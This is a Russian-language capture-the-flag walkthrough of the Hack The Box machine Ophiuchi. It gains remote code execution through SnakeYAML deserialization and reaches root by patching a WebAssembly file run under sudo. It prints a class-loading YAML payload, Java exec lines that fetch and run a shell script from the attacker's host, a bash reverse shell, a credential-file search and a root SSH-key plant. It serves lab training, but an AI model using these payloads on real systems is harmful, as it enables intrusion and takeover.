В данной статье мы продемонстрируем прохождение машины Ophiuchi с сайта Hack The Box. На их примере мы сначала протестируем SnakeYAML, а затем изменим приложение на Go, которое будет скомпилировано в WebAssembly. Научимся выполнять пентест SnakeYAML и модификация приложения на Go
Советуем подсоединяться к машинам с HTB только через VPN. Не совершайте этого с ПК, на которых есть значимые для вас сведения, так как вы окажетесь внутри единой сети с иными участниками.
Разведка
Сканирование портов
Добавляем адрес машины в файл hosts
, чтобы обращаться к ней по имени.
10.10.10.227 ophiuchi.htb
И мы традиционно начинаем со сканирования портов. На этот раз я буду использовать быстрый сканер RustScan. Сначала он найдет все открытые порты, а затем передаст их знаменитому Nmap для написания сценариев (просто укажите параметр -A
).
rustscan 10.10.10.227 -- -A
Обнаруженные открытые порты
Сканирование Nmap
Мы обнаружили две службы: SSH (порт 22) и веб-сервер Apache Tomcat (порт 8080). Все, что вы можете сделать сейчас по SSH, — это использовать учетные данные методом перебора, но в этом нет ничего плохого, особенно при прохождении мимо лабораторных машин. Таким образом, мы должны искать точку входа на веб-сайте.
Точка входа
При переходе на вебсайт нас встретила форма парсера разметки YAML.
Форма Online YAML Parser
Характерная трудность всякого парсера — некорректная обработка служебных символов, что способна послужить причиной к уязвимостям. Чтобы проверить, есть ли здесь такая вещь, мы по очереди отправляем все напечатанные символы в форму ввода. Я сделаю это через Burp. Первый шаг — перехватить запрос к Burp и отправить его Intruder. На вкладке Payload Location укажите тип атаки Sniper, измените значение параметра data и примените пустую нагрузку.
Payload Position
Затем на вкладке Payload Options загрузите перечень печатаемых символов, например, этот из набора словарей SecLists. И давайте проведем брутфорс, нажав на кнопку «Start Attack». После завершения атаки отсортируйте результаты по столбцу «Length», чтобы на первом месте были наиболее важные ответы.
Payload Options
Результат перебора символа
Если отправлять обычные символы, то ответ всегда будет одинаковый.
Due to security reason this feature has been temporarily on hold. We will soon fix the issue!
Но мы получили ошибки в ответ на некоторые запросы. Это хорошо для нас, поскольку сообщения могут раскрывать дополнительную информацию о целевом приложении, например, об используемых технологиях. Фактически: в тексте ошибки мы видим упоминание SnakeYAML и, что более интересно, ошибка возникает в методе load.
SnakeYAML — процессор разметки YAML для программ на Java.
Формулировка погрешности, получаемой при отправке символа процента
Это означает, что в этом случае пользовательский ввод передается методу Yaml.load (), который преобразует документ YAML в объект Java, что может привести к уязвимости десериализации, которая, в свою очередь, открывает путь для удаленного выполнения кода (RCE).
Затем я легко нашел предварительно созданную рабочую нагрузку, которая использовала лазейку десериализации SnakeYAML (PDF). Уязвимость означает, что мы можем спровоцировать загрузку класса с нашего хоста.
Вышлем испытательную нагрузку и посмотрим результат. Чтобы получить ответ, давайте запустим простой локальный веб-сервер Python 3.
ython3 -m http.server 8000
Тут же отправим последующую нагрузку. После отправки мы увидим попытку загрузки файлов в журналах веб-сервера.
!!javax.
script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.88:8000/"]
]]
]
Точка опоры
Что ж уязвимость доказана, давайте воспользуемся ею. В нашем случае SnakeYAML попытался вызвать конструктор ScriptEngineManager
, но перед этим он пытается получить доступ к конечной точке /META-INF/services/javax.script.ScriptEngineFactory
(которая отражена в журналах веб-сервера), и поскольку она недоступна , наш сервер отвечает ошибкой 404. На GitHub уже есть готовая рабочая нагрузкана такой случай. Скачиваем репозиторий и вносим изменения в основной код.
git clone https://github.com/artsploit/yaml-payload.git
Исходный код класса AwesomeScriptEngineFactory
Нас в большей мере занимает функция Runtime.getRuntime (). exec ()
, параметр которой необходимо изменить. Мы сделаем следующее: в первой функции мы загрузим сценарий bash с реверс‑шеллом с локальной машины, а во второй мы назначим разрешения и выполним. Мы используем следующий бэкшелл:
bash -i >& /dev/tcp/10.10.14.88/4321 0>&1
Тогда строки 12 и 13 будут такими:
Runtime.getRuntime().exec("wget http://[ip]:8000/rs.sh -O /tmp/rs.sh");
Runtime.getRuntime().exec("chmod +x /tmp/rs.sh ; /tmp/rs.sh");
Файл с шеллом расположим в директории уже запущенного веб‑сервера.
Все, что остается, — это перейти в каталог репозитория, чтобы текущий путь соответствовал тому, что мы видим в запросе, а затем преобразовать файл Java в байт-код и перезапустить веб-сервер.
cd yaml-payload/src
javac artsploit/AwesomeScriptEngineFactory.java
sudo python3 -m http.server 80
Теперь отправим уже знакомую нагрузку парсеру, просто изменим порт с 8000 на 80. В логах веб-сервера в директории с программой мы видим успешную загрузку файлов, в логах «старой» сети server мы увидим загрузку оболочки, а в слушателе — обратное соединение.
Логи веб-сервера Python (порт 80)
Логи веб-сервера Python (порт 8000)
Бэкконнект
Продвижение
Мы действуем в контексте учетной записи службы веб-сервера Tomcat. В таких случаях вам всегда следует искать учетные данные, которые могут совпадать как на сервере, так и на сайте, или даже при прямом подключении к базе данных учетных записей пользователей. В Apache Tomcat учетные записи сохраняются в файле /opt/tomcat/conf/tomcat-users.xml
. Для поиска критических данных достаточно искать строки с ключевыми словами pass, secret, token и т.п. Таким образом и удается найти пароль.
Список файлов в каталоге /opt/tomcat/conf/
Пароли из файла tomcat-users.xml
С найденными учетными данными успешно подключаемся по SSH и забираем первый флаг.
Флаг пользователя
Локальное повышение привилегий
В общем, из всего того что нужно подвергнуть анализу, чтобы найти вектор для повышения привилегий, вы можете мгновенно проверить настройки sudoer и приложения с установленным битом SUID. И если мы проверим sudoer, мы найдем подсказку.
sudo -l
Настройки sudoers
Все без исключения юзеры имеют все шансы запускать следующую команду в привилегированном контексте без ввода пароля.
/usr/bin/go run /opt/wasm-functions/index.go
Здесь просто выполняется файл /
. Давай взглянем на него.
Содержимое файла /opt/wasm-functions/index.go
В самом начале файла бросается в глаза соединение wasmer-go, затем читается файл main.wasm,
после чего значение info
экспортируется. Если результат не равен единице, то мы просто получаем сообщение Not ready to deploy, иначе будет выполнен bash-скрипт deploy.sh
(также в привилегированном контексте). Ошибка заключается в указании неявных путей к файлам, что позволяет нам размещать одни и те же файлы в текущем каталоге и работать с ними. Загрузите файл main.wasm
на локальный хост.
scp admin@ophiuchi.htb:/opt/wasm-functions/main.wasm ./
Скачивание файла с сервера при помощи scp
WebAssembly — это низкоуровневый язык программирования для многослойной виртуальной машины, на которой компилируются программы на языках высокого уровня, включая Go. Мы будем использовать webassembly.github.io для анализа файла.
Во-первых, давайте посмотрим на info
, для этого нам нужно преобразовать файл .wasm в текст. На сайте по ссылке выше заходим в сервис wasm2watи скачиваем наш файл.
Сервис wasm2wat
В третьей строке мы находим информацию об экспорте info
и возвращаемое значение 0 (строка 4). Мы скопировали весь представленный код и вставили его в сервис wat2wasm, изменив возвращаемое значение с нуля на единицу. Затем мы загружаем смонтированный файл.
Сервис wat2wasm
Собранный файл загрузим в директорию /
удаленного хоста.
scp ./test.wasm admin@ophiuchi.htb:/tmp/main.wasm
Осталось создать файл deploy.
. В нем я записываю руту свой ключ SSH. Сперва генерируем пару ключей с помощью ssh-keygen
.
Генерирование пары ключей
А потом укажем ключ в deploy.sh, обеспечим право для исполнения а также выполним целевое приложение посредством sudo
.
cd /tmp
echo 'echo ssh-rsa AAAAB3NzaC1y......p0iM9xKc= ralf@ralf-PC >> /root/.ssh/authorized_keys ; echo OK' > deploy.sh
chmod +x deploy.sh
sudo /usr/bin/go run /opt/wasm-functions/index.go
ssh -i id_rsa root@ophiuchi.htb